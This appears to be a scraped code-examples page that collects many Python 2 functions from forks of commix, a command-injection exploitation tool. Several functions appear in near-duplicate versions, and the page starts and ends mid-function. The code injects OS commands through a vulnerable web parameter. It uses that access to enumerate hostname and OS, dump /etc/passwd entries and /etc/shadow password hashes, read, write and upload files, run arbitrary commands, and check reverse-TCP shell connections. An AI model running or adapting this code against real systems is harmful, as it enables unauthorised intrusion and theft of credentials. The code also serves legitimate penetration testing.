    err_msg = "The " + os_shell_option.split("_")[0] + " "
    err_msg += os_shell_option.split(
        "_")[1].upper() + " connection has failed!"
    print settings.print_critical_msg(err_msg)
コード例 #18
0
ファイル: eb_enumeration.py プロジェクト: Raz71/commix
def hostname(separator, TAG, prefix, suffix, http_request_method, url,
             vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.HOSTNAME = settings.WIN_HOSTNAME
    cmd = settings.HOSTNAME
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if settings.VERBOSITY_LEVEL >= 1:
            print ""
        success_msg = "The hostname is " + shell + "."
        sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        success_msg = "The hostname is " + shell + ".\n"
        output_file.write("    " +
                          re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).
                          sub("", settings.SUCCESS_SIGN) + success_msg)
        output_file.close()
コード例 #19
0
ファイル: eb_file_access.py プロジェクト: 0day29/commix
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
コード例 #20
0
ファイル: shell_options.py プロジェクト: xianlimei/commix
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace,
                  http_request_method, url, vuln_parameter, alter_shell,
                  filename, os_shell_option):
    if settings.EVAL_BASED_STATE != False:
        # Command execution results.
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)

    else:
        whitespace = settings.WHITESPACE[0]
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)

    if settings.VERBOSITY_LEVEL >= 1:
        print ""

    err_msg = "The " + os_shell_option.split("_")[0] + " "
    err_msg += os_shell_option.split(
        "_")[1].upper() + " connection has failed!"
    print settings.print_critical_msg(err_msg)
コード例 #21
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, timesec):
    cmd = menu.options.os_cmd
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if shell != "":
            print(
                "\n"
            ) + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
            logs.print_logs_notification(filename, url)
        else:
            err_msg = "The '" + cmd + "' command, does not return any output."
            print(settings.print_critical_msg(err_msg))
        raise SystemExit()
コード例 #22
0
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.SYS_PASSES            
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  sys_passes = eb_injector.injection_results(response, TAG)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace("(@)", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        fields = line.split(":")
        if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
          print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
          output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
コード例 #23
0
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):
  if settings.EVAL_BASED_STATE != False:
    # Command execution results.
    start = time.time()
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    end = time.time()
    diff = end - start
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
  else:
    # Command execution results.
    start = time.time()
    if settings.FILE_BASED_STATE == True:
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    else:
      whitespace = settings.WHITESPACE[0]
      if whitespace == " ":
        whitespace = urllib.quote(whitespace) 
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    end = time.time()
    diff = end - start
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)

  if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):
    check_established_connection()
  else:
    if settings.VERBOSITY_LEVEL == 1:
      print("")

  err_msg = "The " + os_shell_option.split("_")[0] + " "
  err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!"
  print(settings.print_critical_msg(err_msg))
コード例 #24
0
def file_read(separator, TAG, prefix, suffix, http_request_method, url,
              vuln_parameter, alter_shell, filename):
    file_to_read = menu.options.file_read
    # Execute command
    if settings.TARGET_OS == "win":
        cmd = settings.WIN_FILE_READ + file_to_read
    else:
        cmd = "(" + settings.FILE_READ + file_to_read + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" +
                         Style.UNDERLINE + file_to_read + Style.RESET_ALL +
                         "' : ")
        sys.stdout.flush()
        print shell
        output_file = open(filename, "a")
        output_file.write("    (!) The contents of file '" + file_to_read +
                          "' : " + shell + ".\n")
        output_file.close()
    else:
        sys.stdout.write(
            Fore.YELLOW + settings.WARNING_SIGN +
            "It seems that you don't have permissions to read the '" +
            file_to_read + "' file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
コード例 #25
0
ファイル: eb_enumeration.py プロジェクト: ziv0chou/commix
def powershell_version(separator, TAG, prefix, suffix, http_request_method,
                       url, vuln_parameter, alter_shell, filename):
    cmd = settings.PS_VERSION
    if alter_shell:
        cmd = cmd.replace("'", "\\'")
    else:
        cmd = "\"" + cmd + "\""
    #Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     alter_shell, filename)
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG)
    try:
        ps_version = "".join(str(p) for p in ps_version).replace(" ", "",
                                                                 1)[:-1]
        if float(ps_version):
            settings.PS_ENABLED = True
            if menu.options.verbose:
                print ""
            # Output PowerShell's version number
            sys.stdout.write(Style.BRIGHT +
                             "(!) The PowerShell's version number is " +
                             Style.UNDERLINE + ps_version + Style.RESET_ALL +
                             Style.BRIGHT + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The PowerShell's version number is " +
                              ps_version + ".\n")
            output_file.close()
    except ValueError:
        print Fore.YELLOW + "(^) Warning: Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
        settings.PS_ENABLED = False
        checks.ps_check_failed()
コード例 #26
0
ファイル: eb_enumeration.py プロジェクト: jbrahy/commix
def powershell_version(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  #Command execution results.
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG)
    ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False
    checks.ps_check_failed()
コード例 #27
0
ファイル: eb_file_access.py プロジェクト: lovebair2022/commix
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
コード例 #28
0
def system_information(separator, TAG, prefix, suffix, http_request_method,
                       url, vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
    cmd = settings.RECOGNISE_OS
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        target_os = eb_injector.injection_results(response, TAG, cmd)
        target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
    else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_os:
        if settings.TARGET_OS == "win":
            cmd = settings.WIN_RECOGNISE_HP
        else:
            cmd = settings.RECOGNISE_HP
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
            # Evaluate injection results.
            target_arch = eb_injector.injection_results(response, TAG, cmd)
            target_arch = "".join(str(p)
                                  for p in target_arch).replace(" ", "",
                                                                1)[:-1]
            session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
        else:
            target_arch = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if target_arch:
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
        success_msg = "The target operating system is " + target_os + Style.RESET_ALL
        success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
        sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        success_msg = "The target operating system is " + target_os
        success_msg += " and the hardware platform is " + target_arch + ".\n"
        output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
        output_file.close()
コード例 #29
0
ファイル: eb_file_access.py プロジェクト: bird0ntheway/commix
def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err:
      sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err)+ ")" + Style.RESET_ALL + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    if menu.options.verbose:
      print ""
    if shell:
      sys.stdout.write(Style.BRIGHT + "(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" + Style.RESET_ALL + "\n")
      sys.stdout.flush()
    else:
     sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + Style.RESET_ALL + "\n")
     sys.stdout.flush()
コード例 #30
0
def system_users(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.SYS_USERS             
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  sys_users = eb_injector.injection_results(response, TAG)
  if sys_users :
    if menu.options.verbose:
      print ""
    sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
    sys.stdout.flush()
    sys_users = "".join(str(p) for p in sys_users)
    sys_users = sys_users.replace("(@)", "\n")
    sys_users = sys_users.split()
    if len(sys_users) != 0 :
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
      output_file.close()
      count = 0
      for line in sys_users:
        count = count + 1
        fields = line.split(":")
        # System users privileges enumeration
        if menu.options.privileges:
          if int(fields[1]) == 0:
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
            is_privilleged_nh = " is root user "
          elif int(fields[1]) > 0 and int(fields[1]) < 99 :
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
            is_privilleged_nh = " is system user "
          elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
            if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
              is_privilleged_nh = " is anonymous user "
            elif int(fields[1]) == 60002:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
              is_privilleged_nh = " is non-trusted user "   
            else:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
              is_privilleged_nh = " is regular user "
          else :
            is_privilleged = ""
            is_privilleged_nh = ""
        else :
          is_privilleged = ""
          is_privilleged_nh = ""
        print "  ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("      ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
        output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
コード例 #31
0
def file_write(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
    sys.stdout.flush()
    
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest
    
  # Execute command
  cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
  
  # Check if file exists!
  cmd = "(ls " + dest_to_write + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
  
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
    sys.stdout.flush()
  else:
   sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you can't create the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
コード例 #32
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):   
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    sys.exit(0)
コード例 #33
0
ファイル: eb_enumeration.py プロジェクト: jbrahy/commix
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    # Not yet implemented!  
    pass 
  else:
    cmd = settings.SYS_PASSES            
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      sys_passes = eb_injector.injection_results(response, TAG)
      sys_passes = "".join(str(p) for p in sys_passes)
      session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
    else:
      sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if sys_passes == "":
      sys_passes = " "
    if sys_passes :
      if menu.options.verbose:
        print ""
      sys.stdout.write(settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
      sys.stdout.flush()
      sys_passes = "".join(str(p) for p in sys_passes)
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("\n    (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            fields = line.split(":")
            if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
              print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
              # Add infos to logs file.   
              output_file = open(filename, "a")
              output_file.write("      (" +str(count)+ ") " + fields[0] + " : " + fields[1])
              output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL
コード例 #34
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):   
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
    sys.exit(0)
コード例 #35
0
def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  cmd = settings.HOSTNAME
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    if not menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
コード例 #36
0
def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  cmd = settings.HOSTNAME
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    if not menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
コード例 #37
0
ファイル: eb_enumeration.py プロジェクト: cryptedwolf/commix
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = eb_injector.injection_results(response, TAG, cmd)
    target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = eb_injector.injection_results(response, TAG, cmd)
      target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)[:-1]
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
    success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
    success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file.   
    output_file = open(filename, "a")
    success_msg = "The target operating system is " + target_os
    success_msg += " and the hardware platform is " + target_arch + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
コード例 #38
0
def powershell_version(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, delay):
    cmd = settings.PS_VERSION
    if alter_shell:
        cmd = cmd.replace("'", "\\'")
    else:
        cmd = "\"" + cmd + "\""
    #Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    # Evaluate injection results.
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, delay)
        # Evaluate injection results.
